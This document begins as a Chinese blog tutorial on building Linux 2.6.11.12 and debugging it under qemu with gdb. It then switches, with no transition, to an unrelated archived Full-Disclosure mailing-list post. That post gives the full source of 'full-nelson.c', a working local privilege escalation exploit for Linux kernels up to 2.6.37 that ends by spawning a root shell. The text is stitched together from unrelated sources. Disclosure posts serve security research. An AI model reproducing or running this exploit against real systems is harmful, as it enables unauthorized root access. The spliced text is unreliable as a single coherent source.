linux内核调试环境的搭建(使用qemu)

这里说明下，本人调试的内核版本是2.6.11.12，为什么去调试这么“古老”的版本？原因不多说了，你手头也许正拿着ULK3，而它针对的内核版本正是2.6.11，有比这更好的理由吗？而且这个版本不算旧，已不算新，我认为还算不错，想想当下还有如此多的人在学习0.11的道路上笃定的前行，讨论关于版本的事情，真的没什么意义。只要你认为有用，能学到东西，做什么别人都不会说你错！

接下来，我尽量把我碰到的一些棘手或者关键的地方都交代清楚，希望看到这篇文章的朋友能顺利搭建好自己的环境。good luck！

你手头需要有VMware，其他的虚拟化工具就不谈了，用法差不多。在vmware中，我先后使用Ubuntu 12.04和CentOS 5.1来编译内核，结果都是失败！后来google查到原因是这些发布版的gcc太高，而当时在低版本下编译成的2.6.11内核在这些版本下编译会报错，无法正常编译。不过有不少人说可以将gcc降版本。。。，虽然不是不可行，但是考虑操作可能会比较麻烦等原因，这个方案选择放弃！

后来得知(通过goole)，能天然编译2.6.11的发布版，有两种，分别是ubuntu 5.1和RedHat 9.0，他们的内核版本都是2.6.11或者相近的版本。最后我选择了ubuntu，原因就不说了，都懂的！

我用ubuntu的毛病就是，刚安装的系统，首先做的事情就是更新source.list文件，后来查到ubuntu已经不再对5.1及一些版本做支持了，所以我用了网上搜到的最新的source.list在升级的时候遇到各种报错，恶心的要死。

所以我的建议就是不要动source.list，用默认的就可以了。

1. www.linuxidc.com @localhost:~$ sudo apt-get install build-essential  

接下来来要做的第一件事就是安装build-essential，这个东西是重要的c语言开发包，包含了gcc, make, gdb和libc函数库等很多工具，编译c程序所必须的一些东西，因为刚安装完的ubuntu 5.1基本上是个废品，gcc根本不能用。

然后我的习惯是给系统安装ssh，因为安装完ssh之后，我就可以用xshell和xftp来实现更方便的操作，当然很多人喜欢安装VMware Tools。

关于如何使用xshell和xftp，就不多讲了，反正作用就是为了方便在主机和虚拟机之间传输数据，什么方式都可以。

接下来就是安装qemu，如果能使用更新的source.list，就可以直接在终端使用sodu apt-get install qemu来完成安装，但是系统默认的更新源是没有这个包的，所以选择使用源码安装。

选择哪个版本？我曾经选择过最新的版本，首先编译比较慢，而且编译之后的可执行文件没有“qemu”，而是一些qemu-i386，qemu-mips等等。我开始以为qemu-i386是我想要的，但是用了一些网上讲的使用方法，貌似不行。不想浪费时间研究了，决定换低的版本试一试。

从最开始的0.10到0.91编译都有各种报错，最突出的问题是，这些版本编译要求系统的gcc是3.x，而当前系统的gcc是4.0.2 20050808，跪了！后来试了很多，最终选择了0.11.0-rc2，即内部版本为0.11.92，其他的有些版本编译也会有很多错误，根本编译不过，有的说缺什么库，有的源码里就有编译错误，shit！反正这个版本是没有问题的，可以顺利编译。

关于如何找到这个版本，这里跟大家说下。

首先登陆官网：https://github.com/qemu/QEMU

单击这个branch:master后面的小三角，在Tags里面查找即可：

好了，qemu安装完(直接configure，make，make install)之后，我们就可以编译2.6.11.12内核了，关于内核编译，资料多如牛毛，我只使用两个命令：

1. www.linuxidc.com @localhost:~$make menuconfig  
2. www.linuxidc.com @localhost:~$make -j4 bzImage  

但是这里有几个问题要说一下，关于什么是make menuconfig，不知道的同学去google下，另外执行命令需要ncurses库的支持，不然你执行

make menuconfig会报错，这里大家可以去官网下:

http://ftp.gnu.org/pub/gnu/ncurses/

版本应该问题不大，我选择的是5.5的版本，因为我看到它的更新日期是2005年，而ubuntu 5.1也是在那个时间发布的，不会用什么兼容上的问题。

执行menuconfig的时候，我们唯一需要做的工作就是在Kernel hacking项目里面将Compile the kernel with debug info和Compile the kernel with frame pointers，两项勾选(在相应项上按空格键，里面都有详细的说明，不会的同学自己看)。这些项目可以让编译时添加调试信息，类似我们平时用的-g选项。

然后make -j4 bzImage，其中-j是让编译时使用多核心，你配置的cpu有几个核心就在后面加上几，比如我的配置的是四核心，那么就是-j4。

等一小会儿(机器快的话)之后，内核编译完成，激动吧。。。。

那么qemu如何使用呢？

直接终端输入：

1. www.linuxidc.com @localhost:~$qemu -s -S -kernle linux-2.6.11.12/arch/i386/boot/bzImage  
2. 参数说明：  
3. -s: qemu在端口1234监听gdb的调试连接  
4. -S: 让qemu启动后暂停，等待gdb的连接  
5. -kernel: 指定bzImage的路径  

由于我目前的关注重点是内核初始化的一些过程，所以更高级的qemu功能先暂时不去研究，后面用到再说。

之后我们另开启一个终端，在源码的顶层目录输入：

1. www.linuxidc.com @localhost:~/linux-2.6.11.12$ gdb vmlinux  

然后，输入命令：

1. (gdb) target remote localhost:1234  
2. Remote debugging using localhost:1234  
3. [New Thread 1]  
4. 0x0000fff0 in ?? ()  
5. warning: shared library handler failed to enable breakpoint  
6. (gdb)   

之后我们打个断点测试下：

1. (gdb) b start_kernel  
2. Breakpoint 1 at 0xc030e537: file init/main.c, line 417.  
3. (gdb) c  
4. Continuing.  
5.   
6. Breakpoint 1, start_kernel () at init/main.c:417  
7. 417     {  
8. (gdb) n  
9. 425          page_address_init();  
10. (gdb)   

ok了！后面关于一些使用或者调试的心得，再来跟大家分享！

[prev in list] [next in list] [prev in thread] [next in thread] List:       full-disclosureSubject:    [Full-disclosure] Linux kernel exploitFrom:       Dan Rosenberg <dan.j.rosenberg () gmail ! com>Date:       2010-12-07 20:25:36Message-ID: 1291753536.584.14.camel () dan[Download message RAW]Hi all,I've included here a proof-of-concept local privilege escalation exploitfor Linux.  Please read the header for an explanation of what's goingon.  Without further ado, I present full-nelson.c:Happy hacking,Dan--snip--/* * Linux Kernel <= 2.6.37 local privilege escalation * by Dan Rosenberg * @djrbliss on twitter * * Usage: * gcc full-nelson.c -o full-nelson * ./full-nelson * * This exploit leverages three vulnerabilities to get root, all of which were * discovered by Nelson Elhage: * * CVE-2010-4258 * ------------- * This is the interesting one, and the reason I wrote this exploit.  If a * thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL * word will be written to a user-specified pointer when that thread exits. * This write is done using put_user(), which ensures the provided destination * resides in valid userspace by invoking access_ok().  However, Nelson * discovered that when the kernel performs an address limit override via * set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault, * etc.), this override is not reverted before calling put_user() in the exit * path, allowing a user to write a NULL word to an arbitrary kernel address. * Note that this issue requires an additional vulnerability to trigger. * * CVE-2010-3849 * ------------- * This is a NULL pointer dereference in the Econet protocol.  By itself, it's * fairly benign as a local denial-of-service.  It's a perfect candidate to * trigger the above issue, since it's reachable via sock_no_sendpage(), which * subsequently calls sendmsg under KERNEL_DS. * * CVE-2010-3850 * ------------- * I wouldn't be able to reach the NULL pointer dereference and trigger the * OOPS if users weren't able to assign Econet addresses to arbitrary * interfaces due to a missing capabilities check. * * In the interest of public safety, this exploit was specifically designed to * be limited: * *  * The particular symbols I resolve are not exported on Slackware or Debian *  * Red Hat does not support Econet by default *  * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and *    Debian * * However, the important issue, CVE-2010-4258, affects everyone, and it would * be trivial to find an unpatched DoS under KERNEL_DS and write a slightly * more sophisticated version of this that doesn't have the roadblocks I put in * to prevent abuse by script kiddies. * * Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64. * * NOTE: the exploit process will deadlock and stay in a zombie state after you * exit your root shell because the Econet thread OOPSes while holding the * Econet mutex.  It wouldn't be too hard to fix this up, but I didn't bother. * * Greets to spender, taviso, stealth, pipacs, jono, kees, and bla */#include <stdio.h>#include <sys/socket.h>#include <fcntl.h>#include <sys/ioctl.h>#include <string.h>#include <net/if.h>#include <sched.h>#include <stdlib.h>#include <signal.h>#include <sys/utsname.h>#include <sys/mman.h>#include <unistd.h>/* How many bytes should we clear in our * function pointer to put it into userspace? */#ifdef __x86_64__#define SHIFT 24#define OFFSET 3#else#define SHIFT 8#define OFFSET 1#endif/* thanks spender... */unsigned long get_kernel_sym(char *name){FILE *f;unsigned long addr;char dummy;char sname[512];struct utsname ver;int ret;int rep = 0;int oldstyle = 0;f = fopen("/proc/kallsyms", "r");if (f == NULL) {f = fopen("/proc/ksyms", "r");if (f == NULL)goto fallback;oldstyle = 1;}repeat:ret = 0;while(ret != EOF) {if (!oldstyle)ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);else {ret = fscanf(f, "%p %s\n", (void **)&addr, sname);if (ret == 2) {char *p;if (strstr(sname, "_O/") || strstr(sname, "_S."))continue;p = strrchr(sname, '_');if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {p = p - 4;while (p > (char *)sname && *(p - 1) == '_')p--;*p = '\0';}}}if (ret == 0) {fscanf(f, "%s\n", sname);continue;}if (!strcmp(name, sname)) {fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");fclose(f);return addr;}}fclose(f);if (rep)return 0;fallback:uname(&ver);if (strncmp(ver.release, "2.6", 3))oldstyle = 1;sprintf(sname, "/boot/System.map-%s", ver.release);f = fopen(sname, "r");if (f == NULL)return 0;rep = 1;goto repeat;}typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);_commit_creds commit_creds;_prepare_kernel_cred prepare_kernel_cred;static int __attribute__((regparm(3)))getroot(void * file, void * vma){        commit_creds(prepare_kernel_cred(0));        return -1;}/* Why do I do this?  Because on x86-64, the address of * commit_creds and prepare_kernel_cred are loaded relative * to rip, which means I can't just copy the above payload * into my landing area. */void __attribute__((regparm(3)))trampoline(){#ifdef __x86_64__asm("mov $getroot, %rax; call *%rax;");#elseasm("mov $getroot, %eax; call *%eax;");#endif}/* Triggers a NULL pointer dereference in econet_sendmsg * via sock_no_sendpage, so it's under KERNEL_DS */int trigger(int * fildes){int ret;struct ifreq ifr;memset(&ifr, 0, sizeof(ifr));strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);ret = ioctl(fildes[2], SIOCSIFADDR, &ifr);if(ret < 0) {printf("[*] Failed to set Econet address.\n");return -1;}splice(fildes[3], NULL, fildes[1], NULL, 128, 0);splice(fildes[0], NULL, fildes[2], NULL, 128, 0);/* Shouldn't get here... */exit(0);}int main(int argc, char * argv[]){unsigned long econet_ops, econet_ioctl, target, landing;int fildes[4], pid;void * newstack, * payload;/* Create file descriptors now so there are two   references to them after cloning...otherwise   the child will never return because it   deadlocks when trying to unlock various   mutexes after OOPSing */pipe(fildes);fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0);fildes[3] = open("/dev/zero", O_RDONLY);if(fildes[0] < 0 || fildes[1] < 0 || fildes[2] < 0 || fildes[3] < 0) {printf("[*] Failed to open file descriptors.\n");return -1;}/* Resolve addresses of relevant symbols */printf("[*] Resolving kernel addresses...\n");econet_ioctl = get_kernel_sym("econet_ioctl");econet_ops = get_kernel_sym("econet_ops");commit_creds = (_commit_creds) get_kernel_sym("commit_creds");prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");if(!econet_ioctl || !commit_creds || !prepare_kernel_cred || !econet_ops) {printf("[*] Failed to resolve kernel symbols.\n");return -1;}if(!(newstack = malloc(65536))) {printf("[*] Failed to allocate memory.\n");return -1;}printf("[*] Calculating target...\n");target = econet_ops + 10 * sizeof(void *) - OFFSET;/* Clear the higher bits */landing = econet_ioctl << SHIFT >> SHIFT;payload = mmap((void *)(landing & ~0xfff), 2 * 4096,       PROT_READ | PROT_WRITE | PROT_EXEC,       MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);if ((long)payload == -1) {printf("[*] Failed to mmap() at target address.\n");return -1;}memcpy((void *)landing, &trampoline, 1024);clone((int (*)(void *))trigger,      (void *)((unsigned long)newstack + 65536),      CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,      &fildes, NULL, NULL, target);sleep(1);printf("[*] Triggering payload...\n");ioctl(fildes[2], 0, NULL);if(getuid()) {printf("[*] Exploit failed to get root.\n");return -1;}printf("[*] Got root!\n");execl("/bin/sh", "/bin/sh", NULL);}_______________________________________________Full-Disclosure - We believe in it.Charter: http://lists.grok.org.uk/full-disclosure-charter.htmlHosted and sponsored by Secunia - http://secunia.com/[prev in list] [next in list] [prev in thread] [next in thread] 

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